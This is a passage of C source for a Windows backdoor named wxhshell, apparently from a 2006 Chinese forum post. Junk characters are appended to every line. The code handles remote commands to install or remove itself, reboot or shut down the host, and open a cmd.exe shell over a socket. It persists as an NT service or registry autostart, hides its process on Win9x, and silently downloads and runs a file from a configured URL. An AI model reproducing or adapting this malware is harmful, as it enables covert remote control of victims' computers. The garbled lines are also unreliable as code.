+mF 2yh  
    switch(cmd[0]) { .j@n6RyN  
  K>~cY%3^i  
  // 帮助 J A2}  
  case '?': { Cjb p-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  x a,LV  
    break; h |  
  } xqZ%c/I3q  
  // 安装 PH=8'GN  
  case 'i': { 43]&SXprH  
    if(Install()) s9dBXfm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {oC69n:  
    else ~}l,H:jk@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *qOCo_=P8  
    break; g5'bUYsa  
    } /]>{"sS(  
  // 卸载 J(*"S!q)6  
  case 'r': { 30-w TcG  
    if(Uninstall()) ?2/M W27w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Bc;.%  
    else AV`7> @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yXmp]9$  
    break; $h f\ #'J  
    } ~1!kU 4  
  // 显示 wxhshell 所在路径 ~hX'FV  
  case 'p': { 2}#PDh n  
    char svExeFile[MAX_PATH]; M_uij$1-  
    strcpy(svExeFile,"\n\r"); 0pz X!f1~  
      strcat(svExeFile,ExeFile); +t6m>IBu  
        send(wsh,svExeFile,strlen(svExeFile),0); >,1LBM|0u  
    break; @~HD<K  
    } 40ZB;j$l  
  // 重启 )Jn80~U|1  
  case 'b': { (J#3+I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zK;t041e  
    if(Boot(REBOOT)) ?uv%E*TU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\RuJx  
    else { 2J <Z4Ap  
    closesocket(wsh); "+_0idpF  
    ExitThread(0); >{8H==P  
    } W5{e.eI}|  
    break; s|oU$?eA  
    } BW[K/l~"$:  
  // 关机 YO61 pZY  
  case 'd': { RT9@&5>il  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mer{Jy s  
    if(Boot(SHUTDOWN)) [?2mt`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !9NAm?Fw  
    else { f{oWd]eAhb  
    closesocket(wsh); \x}UjHYIc&  
    ExitThread(0); 'z:p8"h}  
    } st>t~a|T  
    break; 9IV WbJ  
    } }% *g\%L  
  // 获取shell ~E~J*R Ze  
  case 's': {  =%`"  
    CmdShell(wsh); sjGZ ,?%  
    closesocket(wsh); cx) EFy.  
    ExitThread(0); f ;JSP  
    break; N0f}q1S<-A  
  } 9OBPFF  
  // 退出 ~sD'pS  
  case 'x': { DQ$/0bq   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <}%*4mv  
    CloseIt(wsh); O&uOm:/(  
    break; W#Z]mt B  
    } T rW3@@}j  
  // 离开 4j5 "{  
  case 'q': { sBMHf9u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cA kw5}P   
    closesocket(wsh); *k -UQLJ  
    WSACleanup(); CDhk!O..  
    exit(1); Yc}b&  
    break; Rx.0P6s  
        } vbp)/I-h  
  } n >'}tT)U  
  } _=b[b]Ec$s  
3 0Z;}<)9  
  // 提示信息 ak zb<aT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;A_QI>>  
} js j" W&J  
  } l; 4F,iI  
4Bz~_   
  return; N*#SY$!y  
} ej~ /sO  
:n=+$Dq  
// shell模块句柄 {sLh=iK  
int CmdShell(SOCKET sock) [(hENX}o :  
{ rlq8J/0/+  
STARTUPINFO si; qXW 5_iX  
ZeroMemory(&si,sizeof(si)); /D12N'VaE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )u$A!+fo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >}iYZ[ V  
PROCESS_INFORMATION ProcessInfo; <q|19fH-5  
char cmdline[]="cmd"; H5n" !!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kxq~,g=t  
  return 0; AbB%osz}Ed  
} +J2=\YO  
VH/_0  
// 自身启动模式 lH[N*9G(  
int StartFromService(void) ?Gb 18m  
{ vCJjZ%eO%D  
typedef struct wS4zAu  
{ U;_ ;_  
  DWORD ExitStatus; p8Pvctc  
  DWORD PebBaseAddress; *N't ;  
  DWORD AffinityMask; b |EZ;,i  
  DWORD BasePriority;  j%lW+ [%  
  ULONG UniqueProcessId; 1.+MX(w  
  ULONG InheritedFromUniqueProcessId; !e?\> '  
}   PROCESS_BASIC_INFORMATION; q o'1Pknz  
-C\m' T,1  
PROCNTQSIP NtQueryInformationProcess; ! !9V0[  
1\1o65en  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +f+\uObi:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {w2<;YXj!  
5)}xqE"x  
  HANDLE             hProcess; ^OUkFH;dG?  
  PROCESS_BASIC_INFORMATION pbi;  hHdC/mR  
yd2ouCUV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B!,})F$x  
  if(NULL == hInst ) return 0; wJ{M&n1H  
!=ZbBUJF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^uYxeQY[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N-suBRnW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #CM2FN:W  
h4V.$e<T&  
  if (!NtQueryInformationProcess) return 0; `jP6;i  
Qq5)|m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Cte$ jg{;  
  if(!hProcess) return 0; z*:^*,  
C6GYhG]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AE@*#47  
\i{=%[c  
  CloseHandle(hProcess); )4j#gHN\  
Y1+f(Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qUCiB}  
if(hProcess==NULL) return 0; Hq=RtW2  
#[IQmU23  
HMODULE hMod; U:ZklDW  
char procName[255]; sURHj&:t|  
unsigned long cbNeeded; BVG 3 T  
6zyozJA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MSw/_{  
'H+pwp"M@  
  CloseHandle(hProcess); LTrn$k3}  
UAa2oY&  
if(strstr(procName,"services")) return 1; // 以服务启动 R:=i/P/  
NFsMc0{  
  return 0; // 注册表启动 |FH/Q-7[  
} w+ bMDp  
"{|9Yis=  
// 主模块 74QWGw`,  
int StartWxhshell(LPSTR lpCmdLine) )'92{-A0  
{ wOINcEdx  
  SOCKET wsl; 6 :J @  
BOOL val=TRUE; tFXG4+$D  
  int port=0; 5WY..60K,  
  struct sockaddr_in door; "h\{PoG  
(Zx;GS  
  if(wscfg.ws_autoins) Install(); RytQNwv3  
!\^c9Pg|v  
port=atoi(lpCmdLine); WC0@g5;1[  
,0;E_i7  
if(port<=0) port=wscfg.ws_port; "@DCQ  
V\^?V|  
  WSADATA data; EPW Iu)A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ewD61Y8-  
Q l ql(*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %/jm Q6z^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sLPFeibof5  
  door.sin_family = AF_INET; xqX~nV#TB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d'J))-*#UO  
  door.sin_port = htons(port); n"$D/XJO  
="z\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U5%EQc-"P  
closesocket(wsl); Z'hW;^e%_z  
return 1; t :sKvJ  
} c"v#d9  
P%(pbG-X.  
  if(listen(wsl,2) == INVALID_SOCKET) { w*OZ1|  
closesocket(wsl); JEGcZeq)  
return 1; esWgYAc3{  
} +UB+. 5P  
  Wxhshell(wsl); G/bWn@  
  WSACleanup(); >n{(2bcFs  
Cir==7A0  
return 0; V.>'\b/#  
$*{PUj  
} fOF02WP^  
 \|L@  
// 以NT服务方式启动 !Yz~HO,u+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 25o + ?Y<  
{ ?x%HQ2`  
DWORD   status = 0; "n=`{~F  
  DWORD   specificError = 0xfffffff; [}N?'foLb  
,0[bzk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gQCkoQi:j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {;=I69 X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RgZBh04q  
  serviceStatus.dwWin32ExitCode     = 0; }b\e2ZK  
  serviceStatus.dwServiceSpecificExitCode = 0; r*OSEzGUz  
  serviceStatus.dwCheckPoint       = 0; 1.4]T, `  
  serviceStatus.dwWaitHint       = 0; 5M;fh)fT  
&Ru|L.G`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k:nr!Y<  
  if (hServiceStatusHandle==0) return; k*\WzBTd  
"[q/2vC  
status = GetLastError(); *1$rg?yGf  
  if (status!=NO_ERROR) G29PdmY$<  
{ u`xmF/jhQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b54<1\&  
    serviceStatus.dwCheckPoint       = 0; ?54=TA|5`F  
    serviceStatus.dwWaitHint       = 0; U"v(9m@  
    serviceStatus.dwWin32ExitCode     = status; wWKC.N  
    serviceStatus.dwServiceSpecificExitCode = specificError; s7A{<>:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >2_BL5<S  
    return; 8$io^n\i  
  } q&B'peT  
RFU(wek  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ou"QUn|  
  serviceStatus.dwCheckPoint       = 0; /J aH  
  serviceStatus.dwWaitHint       = 0; F42r]k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x }[/A;N  
} tV<}!~0,*  
 Jx9S@L`  
// 处理NT服务事件,比如:启动、停止 M`*B/Fh 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hPE#l?H@A  
{ 17I{_C  
switch(fdwControl) 5)+(McJC  
{ S$HzuK\f  
case SERVICE_CONTROL_STOP: d kHcG&)  
  serviceStatus.dwWin32ExitCode = 0; zW,m3~XX:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^o+2:G5z}  
  serviceStatus.dwCheckPoint   = 0; OmQSNU.our  
  serviceStatus.dwWaitHint     = 0; `C%,Nj  
  { ({zt=}r,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p+ SFeUp  
  } IAf,TKfe  
  return; yv =LT~  
case SERVICE_CONTROL_PAUSE: BG_m}3j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yH#zyO4fD-  
  break; i[`nu#n/  
case SERVICE_CONTROL_CONTINUE: Z $ Fh4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c[}h( jkP  
  break; 1_%jDMYH  
case SERVICE_CONTROL_INTERROGATE: I& l1b>  
  break; []/=!?5B  
}; BQ{Gp 2N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wv>Pn0cO  
} 6^F"np{w  
;2q;RT`h  
// 标准应用程序主函数 _6Wz1.]n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $IX>o&S@|  
{ \Si@t{`O  
- l8n0P1+  
// 获取操作系统版本 }`&#{>]2  
OsIsNt=GetOsVer(); [X0Wfb}{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mVfg+d(  
VJJGTkm  
  // 从命令行安装 ?`V%[~4_I  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q%KH^<  
+Gqh  
  // 下载执行文件 LbOjKM^-  
if(wscfg.ws_downexe) { rQg7r>%Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S!A)kK+  
  WinExec(wscfg.ws_filenam,SW_HIDE); uNZJNrV%  
} X[_w#Hwp-  
I~y[8  
if(!OsIsNt) { Ay;=1g)8+f  
// 如果时win9x,隐藏进程并且设置为注册表启动 ftq&<8  
HideProc(); hPF9y@lh  
StartWxhshell(lpCmdLine); *X+T>SKL  
} km,}7^?F0r  
else i`Fg kABw  
  if(StartFromService()) cG1-.,r  
  // 以服务方式启动 2c@4<kyfP  
  StartServiceCtrlDispatcher(DispatchTable); Yf&x]<rkCp  
else V^B'T]s  
  // 普通方式启动 P0uUVU=B|  
  StartWxhshell(lpCmdLine); \gaGTc2&  
+C1/02ZJ  
return 0; u:tLO3VfJ  
}
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只看该作者 1 发表于: 2006-10-10
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